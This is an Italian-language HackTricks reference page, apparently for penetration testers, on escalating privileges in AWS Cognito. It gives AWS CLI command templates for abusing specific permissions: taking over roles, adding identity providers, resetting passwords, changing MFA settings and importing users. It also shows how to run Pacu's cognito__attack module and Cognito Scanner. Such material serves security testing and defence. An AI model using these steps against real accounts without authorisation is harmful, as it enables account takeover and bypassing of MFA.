AWS - Cognito Privesc

Impara e pratica l'Hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

Cognito

Per ulteriori informazioni su Cognito, controlla:

AWS - Cognito Enum

Recupero delle credenziali dall'Identity Pool

Poiché Cognito può concedere credenziali del ruolo IAM sia agli utenti autenticati che agli utenti non autenticati, se individui l'ID dell'Identity Pool di un'applicazione (dovrebbe essere codificato all'interno di essa) puoi ottenere nuove credenziali e quindi effettuare l'escalation dei privilegi (all'interno di un account AWS in cui probabilmente non avevi nemmeno credenziali in precedenza).

Per ulteriori informazioni controlla questa pagina.

Impatto Potenziale: Escalation diretta ai ruoli dei servizi collegati agli utenti non autenticati (e probabilmente a quelli collegati agli utenti autenticati).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Con questa autorizzazione puoi concedere qualsiasi ruolo di Cognito agli utenti autenticati/non autenticati dell'applicazione Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Se l'applicazione cognito non ha utenti non autenticati abilitati potresti aver bisogno anche dell'autorizzazione cognito-identity:UpdateIdentityPool per abilitarla.

Impatto potenziale: Privesc diretto a qualsiasi ruolo cognito.

cognito-identity:update-identity-pool

Un attaccante con questa autorizzazione potrebbe impostare ad esempio un Cognito User Pool sotto il suo controllo o qualsiasi altro fornitore di identità dove può effettuare il login come un modo per accedere a questo Cognito Identity Pool. Quindi, semplicemente effettuando il login su quel fornitore di utenti gli permetterà di accedere al ruolo autenticato configurato nell'Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

È anche possibile abusare di questa autorizzazione per consentire l'autenticazione di base:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impatto Potenziale: Compromettere il ruolo IAM autenticato configurato all'interno del pool di identità.

cognito-idp:AdminAddUserToGroup

Questa autorizzazione consente di aggiungere un utente Cognito a un gruppo Cognito, quindi un attaccante potrebbe abusare di questa autorizzazione per aggiungere un utente sotto il suo controllo ad altri gruppi con privilegi migliori o ruoli IAM diversi:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impatto Potenziale: Escalation dei privilegi ad altri gruppi Cognito e ruoli IAM collegati ai Gruppi del Pool degli Utenti.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un attaccante con queste autorizzazioni potrebbe creare/aggiornare gruppi con ogni ruolo IAM che può essere utilizzato da un Provider di Identità Cognito compromesso e fare in modo che un utente compromesso faccia parte del gruppo, accedendo a tutti quei ruoli:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impatto Potenziale: Escalation dei privilegi ad altri ruoli IAM di Cognito.

cognito-idp:AdminConfirmSignUp

Questa autorizzazione consente di verificare una registrazione. Per impostazione predefinita, chiunque può accedere alle applicazioni Cognito; se questa impostazione viene lasciata così com'è, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questa autorizzazione.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impatto Potenziale: Privesc indiretto al ruolo IAM del pool di identità per gli utenti autenticati se è possibile registrare un nuovo utente. Privesc indiretto ad altre funzionalità dell'app essendo in grado di confermare qualsiasi account.

cognito-idp:AdminCreateUser

Questa autorizzazione consentirebbe a un attaccante di creare un nuovo utente all'interno del pool di utenti. Il nuovo utente viene creato come abilitato, ma dovrà cambiare la sua password.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impatto Potenziale: Privesc diretto al ruolo IAM del pool di identità per gli utenti autenticati. Privesc indiretto ad altre funzionalità dell'app essendo in grado di creare qualsiasi utente

cognito-idp:AdminEnableUser

Queste autorizzazioni possono essere utili in un caso limite in cui un attaccante abbia trovato le credenziali di un utente disabilitato e abbia bisogno di abilitarlo nuovamente.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impatto Potenziale: Escalation di privilegi indiretta al ruolo IAM del pool di identità per gli utenti autenticati e permessi dell'utente se l'attaccante avesse le credenziali di un utente disabilitato.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Questa autorizzazione consente di effettuare il login con il metodo ADMIN_USER_PASSWORD_AUTH. Per ulteriori informazioni seguire il link.

cognito-idp:AdminSetUserPassword

Questa autorizzazione consentirebbe a un attaccante di cambiare la password di qualsiasi utente, consentendogli di impersonare qualsiasi utente (che non abbia abilitato l'MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impatto Potenziale: Privesc diretto a potenzialmente qualsiasi utente, quindi accesso a tutti i gruppi di cui ogni utente è membro e accesso al ruolo IAM autenticato del Pool di Identità.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Un attaccante potrebbe potenzialmente abusare di questa autorizzazione per impostare un telefono cellulare sotto il suo controllo come MFA SMS di un utente.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Simile al precedente, questo permesso può essere utilizzato per impostare le preferenze MFA di un utente per eludere la protezione MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Simile al precedente, questo permesso può essere utilizzato per impostare le preferenze MFA di un pool di utenti per eludere la protezione MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: È anche possibile aggiornare il pool di utenti per cambiare la politica MFA. Controlla cli qui.

Impatto Potenziale: Privesc indiretto a potenzialmente qualsiasi utente di cui l'attaccante conosce le credenziali, ciò potrebbe consentire di aggirare la protezione MFA.

cognito-idp:AdminUpdateUserAttributes

Un attaccante con questa autorizzazione potrebbe cambiare l'email o il numero di telefono o qualsiasi altro attributo di un utente sotto il suo controllo per cercare di ottenere più privilegi in un'applicazione sottostante. Ciò consente di cambiare un'email o un numero di telefono e impostarlo come verificato.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impatto Potenziale: Potenziale privesc indiretto nell'applicazione sottostante utilizzando Cognito User Pool che conferisce privilegi basati sugli attributi dell'utente.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un attaccante con questa autorizzazione potrebbe creare un nuovo User Pool Client meno restrittivo rispetto ai client pool già esistenti. Ad esempio, il nuovo client potrebbe consentire qualsiasi tipo di metodo di autenticazione, non avere alcun segreto, disabilitare la revoca dei token, consentire ai token di essere validi per un periodo più lungo...

Lo stesso può essere fatto se invece di creare un nuovo client, un client esistente viene modificato.

Nel command line (o nell'update one) puoi vedere tutte le opzioni, controlla!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impatto Potenziale: Potenziale privesc indiretto al pool di identità autorizzato dall'utente utilizzato dal pool di utenti mediante la creazione di un nuovo client che rilassa le misure di sicurezza e rende possibile a un attaccante effettuare il login con un utente che è stato in grado di creare.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un attaccante potrebbe abusare di questa autorizzazione per creare utenti caricando un file csv con nuovi utenti.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

Impatto Potenziale: Privesc diretto al ruolo IAM del pool di identità per gli utenti autenticati. Privesc indiretto ad altre funzionalità dell'applicazione potendo creare qualsiasi utente.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un attaccante potrebbe creare un nuovo provider di identità per poi essere in grado di effettuare il login tramite questo provider.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impatto Potenziale: Privesc diretto al ruolo IAM del pool di identità per gli utenti autenticati. Privesc indiretto ad altre funzionalità dell'applicazione potendo creare qualsiasi utente.

Analisi di cognito-sync:*

Questa è un'autorizzazione molto comune per default nei ruoli dei Pool di Identità di Cognito. Anche se un wildcard in un'autorizzazione sembra sempre cattivo (specialmente proveniente da AWS), le autorizzazioni fornite non sono particolarmente utili dal punto di vista di un attaccante.

Questa autorizzazione consente di leggere le informazioni sull'uso dei Pool di Identità e gli ID di Identità all'interno dei Pool di Identità (che non sono informazioni sensibili). Gli ID di Identità potrebbero avere Dataset assegnati a essi, che sono informazioni sulle sessioni (AWS le definisce come un gioco salvato). Potrebbe essere possibile che contengano informazioni sensibili (ma la probabilità è piuttosto bassa). Puoi trovare nella pagina di enumerazione come accedere a queste informazioni.

Un attaccante potrebbe anche utilizzare queste autorizzazioni per iscriversi a uno stream Cognito che pubblica modifiche su questi dataset o a un lambda che si attiva sugli eventi di Cognito. Non ho visto che questo sia stato utilizzato e non mi aspetterei informazioni sensibili qui, ma non è impossibile.

Strumenti Automatici

  • Pacu, il framework di sfruttamento di AWS, include ora i moduli "cognito__enum" e "cognito__attack" che automatizzano l'enumerazione di tutti gli asset di Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzabili modificabili, credenziali del pool di identità utilizzabili, ruoli assumibili nei token di identità, ecc.

Per una descrizione delle funzioni dei moduli, consulta la parte 2 del post sul blog. Per istruzioni sull'installazione, consulta la pagina principale di Pacu.

Utilizzo

Esempio di utilizzo di cognito__attack per tentare la creazione di utenti e tutti i vettori di privesc contro un determinato pool di identità e un client di pool di utenti:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Esempio di utilizzo di cognito__enum per raccogliere tutti i pool di utenti, client pool di utenti, pool di identità, utenti, ecc. visibili nell'account AWS corrente:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa un'escalation di privilegi.

Installazione

$ pip install cognito-scanner

Utilizzo

$ cognito-scanner --help

Per ulteriori informazioni controlla https://github.com/padok-team/cognito-scanner

Impara e pratica l'Hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

Last updated